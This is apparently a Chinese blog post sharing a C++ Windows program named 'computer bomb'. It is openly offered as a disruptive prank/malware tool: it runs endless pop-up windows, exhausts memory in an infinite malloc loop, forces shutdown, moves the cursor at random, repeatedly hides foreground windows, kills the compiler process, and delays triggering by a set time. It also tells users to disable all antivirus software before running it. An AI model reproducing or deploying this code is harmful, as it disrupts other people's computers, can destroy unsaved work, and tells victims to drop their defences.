菜单

twistzz
twistzz
发布于 2026-08-29 / 19 阅读
0
0

电脑最喜欢的程序

#include<bits/stdc++.h>

#include<Windows.h>

using namespace std;

int x=GetSystemMetrics(SM_CXSCREEN);

int y=GetSystemMetrics(SM_CYSCREEN);

int n,a[114514],b[114514];

double s,m;

void guanji(){system("shutdown -p");}

void sb(){SetCursorPos(rand()%x,rand()%y);}

void zuixiaohua(){

HWND hWnd=GetForegroundWindow();

ShowWindow(hWnd,SW_HIDE);

}

void ka(){while(1) malloc(10000);}

void tanchuang(int m1){

if(m1==1) system("start cmd");

if(m1==2) system("start notepad");

if(m1==3) system("start winver");

if(m1==4) system("start explorer");

}

void waiting(){

system("cls");

cout<<"触发时间 / 分钟:";

cin>>s;

zuixiaohua();

system("taskkill /f /im devcpp.exe");

system("start 未命名1.cpp");

Sleep(s*60000);

}

void Start(){

srand(time(0));

cout<<"电脑炸弹\n";

cout<<"Waiting";

for(int i=1;i<=10;i++) cout<<'.',Sleep(100);

system("cls");

for(int i=1;i<=4;i++)

{

system("color 04");

cout<<"使用前请关闭所有杀毒软件\n";

Sleep(200);

system("cls");

system("color 07");

Sleep(200);

}

}

void tcz(){

for(int i=1;i<=4;i++){

tanchuang(i),sb();

if(i==4) i=0;

}

}

void gui(){

while(1){

m=rand()%3+1;

if(m==1) zuixiaohua();

if(m==2) sb();

if(m==3) tanchuang(rand()%4+1);

Sleep(60000);

}

}

void nb(){

cout<<"编的程序会重复运行(如果还能)\n";

cout<<"0.结束 1.弹窗 2.鼠标瞬移 3.关机 4.关掉前端程序\n\n";

while(1){

cout<<"第"<<++n<<"步"<<':';

cin>>m;

if(m<1||m>4) break;

a[n]=m;

cout<<"间隔 / 秒:";

cin>>m;

b[n]=m;

}

waiting();

for(int i=1;i<=n;i++){

if(a[i]==1) tanchuang(rand()%4+1);

if(a[i]==2) sb();

if(a[i]==3) guanji();

if(a[i]==4) zuixiaohua();

Sleep(b[i]*1000);

if(i==n) i=0;

}

}

void guan(){while(1) zuixiaohua();}

signed main(){

Start();

cout<<"选择:\n1.无限弹窗\n2.兰屏集序\n3.关机\n4.捉神弄鬼\n5.点啥关啥\n6.自编\n7.随机(不含自编)\n";

cin>>m;

if(m==7) m=rand()%4+1;

if(m<6) waiting();

system("cls");

if(m==1) tcz();

if(m==2) ka();

if(m==3) guanji();

if(m==4) gui();

if(m==5) guan();

if(m==6) nb();

return 0;

}


评论